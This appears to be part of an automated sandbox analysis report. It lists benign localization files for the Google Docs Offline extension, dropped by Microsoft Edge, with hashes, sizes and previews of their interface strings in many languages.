Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
